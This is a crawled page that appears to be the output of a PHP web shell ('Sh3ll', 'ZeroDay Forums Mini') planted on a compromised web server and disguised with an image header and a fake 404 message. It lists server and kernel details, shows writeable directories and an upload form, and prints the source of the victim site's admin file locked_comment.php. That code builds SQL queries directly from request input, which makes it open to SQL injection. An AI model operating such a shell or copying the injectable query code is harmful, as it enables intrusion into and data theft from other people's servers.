ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/netphim/code/admin/users/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/netphim/code/admin/users/locked_comment.php
<?php
$locked_comment = $CORE->input['locked_comment'] ?? '';
if(!empty($locked_comment)) {
    $user_id = (isset($CORE->input['user_id']) and $CORE->input['user_id'] > 0) ? $CORE->input['user_id'] : 0;
    if ($user_id > 0) {
        $row_user = $DB->fetch_row($DB->query("SELECT * FROM tb_user WHERE user_id='$user_id' "));
        $row_guest = $DB->fetch_row($DB->query("SELECT * FROM tb_guest WHERE user_id='$user_id' "));
        $DB->query("UPDATE tb_user SET user_comment_status='$locked_comment' WHERE user_id='$user_id' ");
    }
    if($locked_comment=='locked'){
        $email_user = $row_user['user_key'];
        $fromname = $arr_option['blogname'];
        $logo = $INFO['home_url'].$arr_option['logo_website'];
        $subject = 'User ' . $row_user['user_key'] . ' has been '.$locked_comment.' comment!';
        $sub_subject = '';
        $body = file_get_contents('layout/default/mail_tpl/locked_user.html');
        $title = 'Hello, '.$row_guest['guest_fullname'];
        $html_body = '<p style="font-size: 14px; line-height: 140%; text-align: center;">'.$arr_option['thong_bao_den_locked_comment_user'].'</p>';
        $body = str_replace(array('{body}','{title}','{logo}','{site_name}'),array($html_body,$title,$logo,$arr_option['blogname']),$body);
        $arr_to = array(
            array('Email'=>$email_user,'Name'=>$row_guest['guest_fullname'])
        );
        send_mail($fromname,$subject,$sub_subject,$body,$arr_to);
    }
    if($locked_comment=='active'){
        $email_user = $row_user['user_key'];
        $fromname = $arr_option['blogname'];
        $logo = $INFO['home_url'].$arr_option['logo_website'];
        $subject = 'User ' . $row_user['user_key'] . ' has been '.$locked_comment.' comment!';
        $sub_subject = '';
        $body = file_get_contents('layout/default/mail_tpl/locked_user.html');
        $title = 'Hello, '.$row_guest['guest_fullname'];
        $html_body = '<p style="font-size: 14px; line-height: 140%; text-align: center;">Your account at '.$arr_option['blogname'].' has been '.$locked_comment.' comment, please try re-login and comment.</p>';
        $body = str_replace(array('{body}','{title}','{logo}','{site_name}'),array($html_body,$title,$logo,$arr_option['blogname']),$body);
        $arr_to = array(
            array('Email'=>$email_user,'Name'=>$row_guest['guest_fullname'])
        );
        send_mail($fromname,$subject,$sub_subject,$body,$arr_to);
    }

    close_popup('User ' . $row_user['user_key'] . ' has been '.$locked_comment.' comment!');
}
?>

ZeroDay Forums Mini